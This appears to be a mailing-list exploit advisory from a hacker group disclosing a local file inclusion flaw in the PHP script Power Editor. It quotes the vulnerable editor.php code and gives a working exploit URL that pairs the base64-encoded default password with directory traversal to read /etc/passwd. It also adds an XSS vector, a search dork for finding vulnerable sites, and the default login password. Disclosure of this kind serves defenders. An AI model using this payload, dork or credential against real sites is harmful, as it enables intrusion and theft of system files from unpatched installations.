<<< Date Index >>>     <<< Thread Index >>>

Power Editor LOCAL FILE INCLUSION Vulnerbility



            
                         
########################################################################
             #                                                                  
    #
             #    ..:::::Power Editor LOCAL FILE INCLUSION Vulnerbility ::::... 
    #           
             
########################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :Virangar Security Team (hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
download:http://www.scriptsez.net/index.php?action=details&cat=Content%20Management&id=1063623812
dork: Powered By Power Editor
-----------------------------------
vuln code in editor.php:
line 84-94:
if ($action=="tempedit") {
$n=base64_decode($m);   
if ($n==$password){
template();
$te=$HTTP_GET_VARS['te'];
$dir=$HTTP_GET_VARS['dir'];
$filename = "$dir/$te"; 
$fd = fopen ($filename, "r"); 
$stuff = fread ($fd, filesize ($filename)); 
fclose ($fd);
?>
-------
vuln:
http://site.com/editor.php?action=tempedit&m=[base64 
password]&te=[local_file]&dir=[local_dir]
examp:
editor.php?action=tempedit&m=Y2hhbmdlbWU=&te=/etc/passwd&dir=../../../../../../../../../..

-------------------------------------
and xss here :D :
http://site.com/editor.php?action=tempedit&m=[base64 
password]&te=[xss]&dir=[xss]
-----
note:
default pass for login is:changeme
-----
young iranian h4ck3rz